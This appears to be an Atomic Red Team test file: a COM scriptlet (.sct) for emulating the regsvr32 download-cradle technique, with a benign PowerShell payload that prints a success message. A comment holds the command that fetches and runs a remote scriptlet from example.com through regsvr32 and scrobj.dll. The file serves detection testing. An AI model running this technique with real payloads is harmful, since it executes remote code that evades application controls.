Files
atomic-red-team/atomics/T1086/payloads/test.sct
T
Michael Haag f5a5aa8d6a Add Invoke-DownloadCradle by @mgreen27
Added @mgreen27 Invoke-DownloadCradle as method to run additional endpoint and network tests using Powershell.
2018-07-09 12:52:07 -04:00

15 lines
480 B
Plaintext
Executable File

<?XML version="1.0"?>
<scriptlet>
<registration
progid="PoC"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<!-- regsvr32 /s /u /i:http://example.com/file.sct scrobj.dll -->
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("powershell -c \"write-host -ForegroundColor Cyan $(Get-Date -Format s) 'Download Cradle test success!';Read-Host -Prompt 'Press Enter to continue'\"");
]]>
</script>
</registration>
</scriptlet>